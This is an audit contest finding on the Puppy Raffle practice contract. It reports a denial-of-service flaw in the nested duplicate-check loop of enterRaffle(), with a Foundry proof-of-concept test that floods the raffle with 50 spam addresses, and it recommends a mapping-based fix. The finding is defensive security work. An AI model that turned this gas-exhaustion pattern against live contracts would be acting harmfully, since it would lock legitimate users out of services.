First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Nested for loop in `PuppyRaffle#enterRaffle()` could lead to DOS attack

musashi

Summary

DOS attack is possible when a malicious user call PuppyRaffle#enterRaffle() to register many addresses, which could cause excessive gas consumed and even transactions reverted when other users are trying to enter the raffle by calling this method.

Vulnerability Details

The nested for loop for checking duplication in PuppyRaffle#enterRaffle() could cause excessive gas consumed and even transactions reverted when the players array's length get too big.

for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}

Impact

DOS attack will prevent new users from entering the raffle and only the addresses that belong to the attacker are eligible for winner selecting and token minting.

A proof of concept for the attack is provided below.

function testDosAttack() public playersEntered {
uint blockGasLimit = 120000;
vm.startPrank(hacker);
​
// make spam players array with length of 50
address[] memory spamPlayers = new address[](50);
for (uint256 i = 0; i < 50; ++i) {
spamPlayers[i] = address(i+100);
}
​
// spam the players array
puppyRaffle.enterRaffle{value: entranceFee * 50}(spamPlayers);
​
vm.stopPrank();
​
// Normal user try to enter the raffle
address user = address(10000);
vm.startPrank(user);
vm.deal(user, 1 ether);
​
address[] memory players = new address[](1);
players[0] = user;
​
uint gasleftbeforeTxStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee}(players);
uint gasleftAfterTxStart = gasleft();
​
// He cannot enter because of excessive gas consumed
assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit);
​
vm.stopPrank();
}

Tools Used

Manual review

Recommendations

Use a mapping mapping(address => boolean) registeredUsers to store the users who entered the ruffle

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

denial-of-service-in-enter-raffle

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.